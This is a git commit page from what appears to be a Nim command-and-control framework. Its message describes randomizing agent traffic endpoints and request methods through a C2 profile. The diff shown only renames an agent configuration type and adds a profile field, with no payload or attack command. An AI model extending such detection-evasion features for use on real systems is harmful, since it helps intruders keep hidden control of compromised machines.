Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.

This commit is contained in:
Jakob Friedl
2025-08-15 15:42:57 +02:00
parent 5a73c0f2f4
commit c7980d219d
19 changed files with 273 additions and 184 deletions

View File

@@ -176,7 +176,7 @@ type
# Agent config
type
AgentConfig* = ref object
AgentCtx* = ref object
agentId*: string
listenerId*: string
ip*: string
@@ -184,6 +184,7 @@ type
sleep*: int
sessionKey*: Key
agentPublicKey*: Key
profile*: Profile
# Structure for command module definitions
type
@@ -200,4 +201,4 @@ type
example*: string
arguments*: seq[Argument]
dispatchMessage*: string
execute*: proc(config: AgentConfig, task: Task): TaskResult {.nimcall.}
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}